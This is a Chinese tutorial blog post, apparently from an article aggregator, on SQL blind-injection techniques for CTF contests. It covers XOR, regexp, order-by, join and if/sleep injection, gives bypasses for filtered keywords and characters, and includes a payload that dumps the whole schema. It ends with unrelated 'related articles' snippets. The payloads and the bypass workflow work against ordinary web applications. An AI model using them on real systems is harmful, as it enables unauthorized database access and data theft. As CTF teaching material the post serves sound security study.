1. 程式人生 > >CTF中幾種通用的sql盲注手法和注入的一些tips

CTF中幾種通用的sql盲注手法和注入的一些tips

0x00 前言

在ctf比賽中難免會遇到一些比較有(keng)趣(die)的注入題,需要我們一步步的繞過waf和過濾規則,這種情況下大多數的注入方法都是盲注。然而在盲注過程中由於這些過濾規則不太好繞過,這時候就會無從下手,下面分享一下自己在比賽中總結幾種比較通用的盲注手法和一些小tips,希望能在今後大家的比賽或者實戰中帶來一些實質性的幫助。

0x01 XOR注入

因為這種方法利用了異或符號,所以給它取名為xor注入

1、基本注入payload

admin'^(ascii(mid((password)from(i)))>j)^'1'='1'%23
或者
admin'^(ascii(mid((password)from(i)for(1)))>j)^'1'='1'%23

我們來分析一下這個語句的格式:

首先我們先根據^符號來分割開語句:

admin'
ascii(mid((password)from(i)))>j
'1'='1'%23

最前面和最後面的語句都固定為真(邏輯結果都為1),只有中間的語句不確定真假
那麼整個payload的邏輯結果都由中間的語句決定,我們就可以用這個特性來判斷盲注的結果了

0^1^0 --> 1 語句返回為真
0^0^0 --> 0 語句返回為假

這裡mid函式的使用方法:

正常的用法如下,對於str字串,從pos作為索引值位置開始,返回擷取len長度的子字串

MID(str,pos,len)

這裡的用法是,from(1)表示從第一個位置開始擷取剩下的字串,for(1)表示從改位置起一次就擷取一個字元

mid((str)from(i))
mid((str)from(i)for(1))

看下圖的查詢結果應該就知道用法了:
 

這裡可能還會有疑問:為什麼這裡不加for可以正常執行呢?

因為這裡的ascii函式是預設取字串中第一個字元的ascii碼做為輸出

2、使用場景

過濾了關鍵字:and、or
過濾了逗號,
過濾了空格

如果這裡過濾了=號的話,還可以用>或者<代替(大小的比較)

payload:admin'^(ascii(mid((password)from(i)))>j)^('2'>'1')%23

如果這裡過濾了%號和註釋符的話,那就把最後一個引號去掉就可以和後面的引號匹配了 ‘1’=’1

0x02 regexp注入

1、基本注入payload

select (select語句) regexp '正則'

下面舉一個例子來說明一下用法:

首先正常的查詢語句是這樣:

select user_pass from users where user_id = 1


接著進行正則注入,若匹配則返回1,不匹配返回0

select (select user_pass from users where user_id = 1) regexp '^a'

這裡的^表示pattern的開頭

接著一步步判斷


或者regexp這個關鍵字還可以代替where條件裡的=號

select * from users where user_pass regexp '^a9'

2、使用場景

過濾了=、in、like

這裡的^如果也被過濾了的話,可以使用$來從後往前進行匹配

0x03 order by盲注

1、基本注入payload

select * from users where user_id = '1' union select 1,2,'a',4,5,6,7 order by 3

首先先看看order by的使用方法:

order by 'number' (asc/desc)

即對某一列進行排序,預設是升序排列,即後面預設跟上asc,那麼上面一句就相當於

select * from users order by 3 asc

我們在注入時經常會使用order by來判斷資料庫的列數,那我們這裡使用他配合union select來進行注入

2、原理分析

首先正常的注入是藍色那部分的字串,這裡我們的目的是要注出test使用者的user_pass值
接著我們在語句後面加上order by 3,即對第三列進行升序排列(按照ascii碼錶)
這裡的user_pass列中的3是我們union select裡面的第三列,這裡就把’3’替換為’a’
這裡可能看不出什麼變化,那麼把他改成’b’看看
看到使用者test跑到第一行來了,所以這裡經常用來判斷有返回差異的注入,且返回只有一列的輸出,根據差異來判斷我們盲注的值是否正確

當然這裡也可以使用order by desc降序排列來注入,所以這裡要根據使用場景來進行選擇

3、使用場景

過濾了列名
過濾了括號
適用於已知該表的列名以及列名位置的注入

0x04 例項講解

1、ascii盲注來自skctf login3的一道題,bugku上也有:

題目連結:http://123.206.31.85:49167/
是標準的登陸框,因為存在注入,先fuzz一下過濾了什麼字元。使用bp的intruder模組載入字典進行fuzz(字典在後面會分享給大家)。

可以看到這裡的=,空格、and、or都被過濾了,但是>、<、^沒有被過濾,所以這裡使用ascii盲注


這裡最後是要注入出admin的password,過程就不詳細講解了,直接給出payload:

username = admin'^(ascii(mid((password)from(1)))>1)^('2'>'1')%23

網鼎杯第二場的一道注入題sqlweb的其中一種解法也是用到這種ascii盲注
這個payload和我們上面說的是一樣的,所以這個就靠你們自己慢慢消化了。

2、regexp盲注是來自實驗吧一道注入題

這道題只有一個id作為輸入點,id存在注入點,但是過濾了很多東西,前面的步驟就不詳細說了,去看p牛的詳細解答
看到這裡,過濾了^,但是沒過濾$,所以xor注入就無效了,這邊選擇regexp注入使用$符號從後往前注入

0' or (select (select fl$4g from fiag limit 1) regexp '%s$') or 'pcat'='

這裡是用python寫的指令碼,一個一個的對字串的正則匹配得到最後flag

3、union盲注利用起來比較簡單,就是利用上面說的那些條件進行注入,例子是來自藍鯨ctf的一道ctf題目:

題目好像進不去了,但是可以看我的writeup
首先題目存在sql注入還有一個上傳點,可以通過注入拿到所有原始碼

拿到之後進行審計,發現上傳時檔案以隨機字串上傳到了/Up10aD/資料夾下,我們的目的就是要通過注入拿到上傳後的檔案,在原來的注入點使用order by盲注將檔名得到:

重點就在order by盲注這,注入點在id這裡

那麼寫出order by盲注的指令碼如下圖:

這裡存在過濾,繞過的方法是雙寫繞過,所以payload看起來不是很清楚,正常的應該是這樣的:

image = 79 union distinct select 0x{filename} order by 1 desc

注意前面的image=79是存在的圖片的id,這樣order by才可以進行對比實現

這個注入形式也是和我們上面講解一樣,所以大家可以自己找題目來練習。

0x05 其他的一些小tips

1、一些等效替代的函式(特殊符號)

字元:

空格 <--> %20、%0a、%0b、/**/、 @tmp:=test
and <--> or
'=' <--> 'like' <--> 'in' --> 'regexp' <--> 'rlike' --> '>' <--> '<'

@tmp:=test只能用在select關鍵字之後,等號後面的字串隨意

函式:

字串截斷函式:left()、mid()、substr()、substring()
取ascii碼函式:ord()、ascii()

2、 一次性報所有表明和欄位名

(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>[email protected]) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x)

3、Subquery returns more than 1 row的解決方法

產生這個問題的原因是子查詢多於一列,也就是顯示為只有一列的情況下,沒有使用limit語句限制,就會產生這個問題,即limt 0,1

如果我們這裡的逗號被過濾了咋辦?那就使用offset關鍵字:

limit 1 offset 1

如果我們這裡的limit被過濾了咋辦?那就試試下面的幾種方法:

(1) group_concat(使用的最多)
(2) <>篩選(不等於)
(3) not in
(4) DISTINCT

上面這些都涉及到了sql基本語句,這裡就不一一舉例了。大家可以多在本地環境試試,加深理解

4、join注入

payload:

1' union select * from (select 1) a join (select 2) b %23

優勢:過濾了逗號的情況下使用

下面的payload(別的部落格處摘抄來的)適用於過濾了逗號和欄位名的情況下使用

union all
select * from(
    (select 1)a join(
        select F.[需要查詢的欄位號] from(
            select * from [需要查詢的表有多少個欄位就join多少個]
            union
            select * from [需要查詢的表] [limit子句]
        )F-- 我們建立的虛擬表沒有表名,因此定義一個別名,然後直接[別名].[欄位號]查詢資料
    )b-- 同上[還差多少欄位就再join多少個,以滿足欄位數相同的原則]
)

5、帶!的注入

直接看下面的payload,適用於and、or、^被過濾的情況下使用,有時候可能也會使用到,但是具體的原理不是很明白,大家可以自行google

6、if盲注(合理利用條件)

if盲注的基本格式:

if(條件,條件為真執行的語句,條件為假執行的語句)

舉個例子:

admin' if(ascii(mid(user(),1,1))=100,sleep(5),1)

用好if盲注的關鍵是條件的輸入,有一道BCTF的注入題的wp用的就是if盲注

寫部落格的這位大佬巧妙利用了pow函式數值溢位的特性,使得經過if判斷後的條件會報錯,但是不執行該語句時語法上是沒問題的

原理如下:

mysql> select if(1,1,pow(2,22222222222)); //條件為真時,返回1
+——————————————+
| if(1,1,pow(2,22222222222)) |
+——————————————+
| 1 |
+——————————————+
1 row in set (0.00 sec)

mysql> select if(0,1,pow(2,22222222222)); //條件為假時,報錯
ERROR 1690 (22003): DOUBLE value is out of range in ‘pow(2,22222222222)’

像利用pow這種函式溢位的特性也不止這一個,這就需要我們靠平時的經驗積累了,總之想要玩好ctf的注入題途徑就是多刷題。

0x06 自己總結的注入流程

1、先找到注入點,id=,username=,判斷GET/POST/COOKIE注入

2、檢視顯示位,如果只有一個顯示位在使用union注入是注意使用limit來限制顯示

3、判斷字元型注入還是數字型注入(2-1,’是否正常)

4、輸入不同值檢視頁面是否有變化,無變化的話可以考慮採用bool時間盲注,若有報錯資訊優先考慮報錯注入(exp,updatexml(優先採用updatexml、extractvalue報錯))

5、先簡單測試空格和註釋符是否被替換了,id=1 1,id = 1%231(看看能否用/ /、%20、%0a、%09繞過)

6、進行fuzz,看看那些被waf了

7、若頁面上沒有顯示waf過濾之類的提示(sql injection detected),就測試是否有被替換為空的字元(如:’ or ‘*’=’、’ or ‘-‘=’ ,如果頁面返回正常的話,則說明該字元被替換為空)

8、簡單嘗試雙寫、編碼、大小寫替換的方法,判斷是否可以繞過

9、確定注入方式(儘量把盲注放最後),union、報錯注入、盲注

10、先在bp中跑一遍看是否有結果

11、嘗試寫指令碼

最重要的兩步就是注入點並判斷出注入型別,找到被過濾的函式和關鍵字並找到替代的函式和關鍵字,這就需要我們靠自己的耐心和細心還有經驗的積累了。

0x07 結束語

上面的說的那些盲注手法都是在union注入、報錯注入和可回顯注入都失效的情況下使用的,所以說盲注是一種通法,他也是放在最後使用的方法,如果本來環境就存在回顯的點可以用union直接注入出來,還使用盲注顯的有點多此一舉,也浪費很多時間。所以這些方法需要根據大家遇到的實際情況進行靈活運用,最後記得多刷題!多刷題!多刷題!最後希望文章能對大家帶來幫助。

0x08 其他一些不錯的參考文章

相關推薦

CTF通用sql手法注入一些tips

0x00 前言 在ctf比賽中難免會遇到一些比較有(keng)趣(die)的注入題,需要我們一步步的繞過waf和過濾規則,這種情況下大多數的注入方法都是盲注。然而在盲注過程中由於這些過濾規則不太好繞過,這時候就會無從下手,下面分享一下自己在比賽中總結幾種比較通用的盲注手

ios跳轉方式,普通,StoryBoard跳轉

一、純程式碼介面跳轉方式     1.導航控制器(UINavigationController)     [self.navigationController pushViewController:NewVC animated:YES];//跳轉到下一介面     [self.navigationContro

Sql與普通注入的區別

          在學習sql注入的時候,好多同學都是不弄清楚原理,去瀏覽器上狂搜一下注入語句,就開始對老師給的靶機注入,雖然能注入成功,但是不清楚原理,對以後的學習和工作沒有多大的好處。現在我就講一下sql盲注與普通注入的區別! (adsbygoogle = window.ads

SQL Server遍歷方式比較

不同 .com font size 常用 分享 分享圖片 遊標 inf SQL遍歷解析   在SQL的存儲過程,函數中,經常需要使用遍歷(遍歷table),其中遊標、臨時表等遍歷方法很常用。面對小數據量,這幾種遍歷方法均可行,但是面臨大數據量時,就需要擇優選擇,不同的遍歷方

sql批量foreach的寫法記錄

1,條件語句中使用or連線的遍歷    <foreach collection="propertyLevelSectionList" item="itr" index="index" separator=" or " open=" and(" close=")">

mysql有用的統計sql

select * from 表名 where to_days(時間欄位名) = to_days(now()); 昨天 SELECT * FROM 表名 WHERE TO_DAYS( NOW( ) ) - TO_DAYS( 時間欄位名) <= 1 近7天

(整理) SQL連線的相互區別

連線型別定義內連線只連線匹配的行左外連線包含左邊表的全部行(不管右邊的表中是否存在與它們匹配的行),以及右邊表中全部匹配的行右外連線包含右邊表的全部行(不管左邊的表中是否存在與它們匹配的行),以及左邊表中全部匹配的行全外連線包含左、右兩個表的全部行,不管另外一邊的表中是否

java 常用數據結構

初學 ble log app 使用 blog list 好的 sort Java中有幾種常用的數據結構,主要分為Collection和map兩個主要接口(接口只提供方法,並不提供實現),而程序中最終使用的數據結構是繼承自這些接口的數據結構類。 一、幾個常用類的區別 1.

EntityFramework更改數據的方式

結構 tac pro partial 數據庫 修改表 tle 狀態 代碼 首先聲明個實體類,該實體類是EntityFrameWork自動生成的,對應數據表Test結構如下 public partial class Test { public i

人臉檢測框框大小的選擇~

gravity 經濟 自己 位置 之間 實現 track 之前 訓練樣本 人臉檢測應用極為廣泛,內部細節也偏多,尤其是涉及到幾種類型的框,這幾種框的大小之前有著千絲萬縷的聯系,對檢測性能的好壞影響程度大小不一。本篇文章基於自己在人臉檢測方面的經驗,說說對這些框之間關系的

js實用的跨域方法原理詳解

自身 標簽 cdc 返回 屬性和方法 插入 實用 封裝 判斷 這裏說的js跨域是指通過js在不同的域之間進行數據傳輸或通信,比如用ajax向一個不同的域請求數據,或者通過js獲取頁面中不同域的框架中(iframe)的數據。只要協議、域名、端口有任何一個不同, 都被當作是不同

C#常用的集合的用法

col div tex -c 組成 相同 列表 對象 count 集合:將一推數據類型相同的數據放入到一個容器內,該容器就是數組:內存中開辟的一連串空間。 非泛型集合 ArrayList集合: ArrayList是基於數組實現的,是一個動態數組,其容量能自動 增

Java常量池的區分

加載完成 表結構 結構 reference 嘗試 int 理解 方法區 spa 轉載自:https://tangxman.github.io/2015/07/27/the-difference-of-java-string-pool/ 在java的內存分配中,經常聽到很多關

js 自己項目打開或彈出頁面的方法

顯示 頁面 框架 方法 func open 地址 title 窗體 自己項目中,幾種打開或彈出頁面的方法(部分需要特定環境下) var blnTop = false;//是否在頂層顯示 ///動態生成模態窗體(通過字符串生成) ///strModalId:模態窗體ID

Android開發有用的的日歷控件實現

顯示 lec 外觀 翻頁 frame 時間 lean android平臺 星期 我們大家都知道,在Android平臺3.0中才新增了日歷視圖控件,可以顯示網格狀的日歷內容,那麽對於3.0以下的版本要使用日歷控件只能借助第三方,目前用的最多的是CalendarView。 先簡

js異常類型

jsNaN類型:#not a numberNumber只能轉化數字字符串,該方法轉化失敗時就會產生一個NaNstr=‘10abc‘;Number(str);null類型:空,經常使用str=‘‘來代替,一般用於提前規劃一些變量或給變量賦初值,以免報錯undefined類型:變量未定義例子:<script

常見SQL分頁方式效率比較

har n) over mage 適用於 not blog toolbar 大數 1.創建測試環境,(插入100萬條數據大概耗時5分鐘)。 create database DBTestuse DBTest--創建測試表create table pagetest(id

JAVA常用的RPC框架介紹

github 不同的 target int https love num 分布 有一個 RPC是遠程過程調用的簡稱,廣泛應用在大規模分布式應用中,作用是有助於系統的垂直拆分,使系統更易拓展。Java中的RPC框架比較多,各有特色,廣泛使用的有RMI、Hessian、Du

Java 常用的線程池

需要 表示 ali adf data future rate 並發 ng- Java 中幾種常用的線程池 轉載 : https://www.cnblogs.com/sachen/p/7401959.html 原創 2016年04月14日 23:29:01 標簽: j

C++測試程序運行時間的方法<轉>

begin html cnblogs bsp 可能 boost庫 www. rman 高精 轉的地址:https://www.cnblogs.com/silentteen/p/7532855.html 1.GetTickCount()函數 原理: GetTickCoun